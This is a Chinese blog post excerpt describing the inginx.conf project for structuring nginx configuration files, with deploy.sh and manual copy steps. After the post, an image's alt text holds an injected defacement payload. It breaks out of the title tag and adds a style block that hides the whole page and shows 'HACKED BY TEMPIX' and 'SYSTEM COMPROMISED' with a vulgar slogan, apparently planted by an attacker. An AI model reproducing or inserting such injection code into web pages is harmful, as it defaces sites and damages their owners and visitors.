其实nginx的conf结构本来设计的不错,但是从默认安装的配置文件离实际可用状态还有一些距离。比如设置fastcgi、分离server部分到多个文件等。
一般来说,部署完毕之后conf已经是面目全非了。众多参数缺乏有效的管理组织方式。如果有多个站点,那么各个站点的配置文件中可能还存在大量重复。
inginx.conf(github)项目诞生的目的是:明晰nginx配置文件的结构,让维护多个站点的配置、部署新站点变的更加简单。
部署
注意:请先备份nginx/conf目录
1、自动部署:下载自动部署脚本deploy.sh并运行,脚本会自动检测nginx/conf的位置并部署完成(需要wget和unzip)。
#全自动部署
./deploy.sh
#也可以指定nginx/conf的位置
./deploy.sh /etc/nginx/conf
2、手动部署:下载zip包后解压缩,然后将conf目录复制到nginx/conf目录。
cp conf /usr/local/nginx/conf
创建新站点
1、进入conf/servers目录,将server.example复制一份,命名为自己的站点(注意后缀应为.conf) Continue reading 用inginx.conf分级管理nginx配置文件
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)